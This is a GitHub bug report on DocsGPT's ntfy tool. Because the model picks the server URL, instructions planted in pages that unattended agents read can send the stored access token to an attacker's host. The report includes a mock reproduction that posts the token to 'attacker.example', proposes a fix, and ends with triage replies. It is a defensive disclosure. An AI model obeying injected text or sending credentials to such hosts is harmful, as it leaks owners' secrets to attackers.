🐛 Bug Report: ntfy tool sends its access token to whatever server the model names
📜 Description
The ntfy tool takes server_url as an argument the model fills in, and then attaches the stored access token to the request it sends there (NtfyTool._send_message in docsgpt/agents/tools/ntfy.py). So the token goes to whichever host the model picks, not to a server the owner chose.
The model's choice can be steered by text it reads: a retrieved chunk, a page fetched with read_webpage, a page a monitor watches. ntfy is mostly used from unattended runs (scheduled agents, monitors), where it is allowlisted so nobody sees an approval card, and those are the runs that read untrusted pages.
The SSRF guard doesn't cover this. pinned_request refuses private addresses, and an attacker's public host passes. #2371 was about the request itself and was closed after the pinned requests landed; this is the other half, the credential that rides along.
Telegram already handles the same shape: its connection pins chat_id, so the model can't change it. ntfy has no such field, so a connection can't pin the server either.
👟 Reproduction steps
- Connect ntfy with an access token (Settings > Connectors, or the ntfy tool).
- Get the model to call
ntfy_send_messagewithserver_urlset to a host you control. Text in a page the agent reads is enough. - Your host receives
POST /<topic>withAuthorization: Basic <token>.
The same thing without a model:
from unittest.mock import patch
from docsgpt.agents.tools.ntfy import NtfyTool
with patch("docsgpt.agents.tools.ntfy.pinned_request") as send:
send.return_value.status_code = 200
NtfyTool({"token": "secret"}).execute_action(
"ntfy_send_message", server_url="https://attacker.example", message="x", topic="t",
)
print(send.call_args)
# call('POST', 'https://attacker.example/t', data=b'x', headers={'Authorization': 'Basic secret'}, timeout=100)
👍 Expected behavior
The token only goes to the server its owner set up. The model can still choose the message and the topic, but not where the credential is sent.
👎 Actual Behavior with Screenshots
The token is sent to any public host the model names.
💻 Operating system
MacOS (the code path is not OS specific)
🤖 What development environment are you experiencing this bug on?
Local dev server
📃 Provide any additional context for the Bug.
What I'd change, and have a PR ready for:
- the tool gets an optional
server_urlsetting. When it is set, that server is used and whatever the model sends is ignored. When it isn't, the token is only sent tohttps://ntfy.sh, and a call to any other server comes back as an error that says why. - the ntfy connector gets a "Server URL" field pinned as the
server_urlparameter, the same way Telegram's default chat is. - a token-less tool behaves as before.
Existing self-hosted setups with a token will need the server URL entered once.
🔗 Are you willing to submit PR?
Yes, I am willing to submit a PR!
👀 Have you spent some time to check if this bug has been raised before?
- [x] I checked and didn't find similar issue
🧑⚖️ Code of Conduct
- [x] I agree to follow this project's Code of Conduct
Thanks. Please report vulnerabilities privately through https://github.com/arc53/DocsGPT/security (Report a vulnerability) or [email protected] so the details stay private.
Automated triage. A maintainer will follow up.
@arc53-machine feel freee to assign this issue to me if theres no progress on it within a week or so. thanks
@bhushan4work This is currently assigned to @cr-sbarbouche. No reassignment is scheduled; please check back if the issue becomes unassigned.
Automated triage. A maintainer will follow up.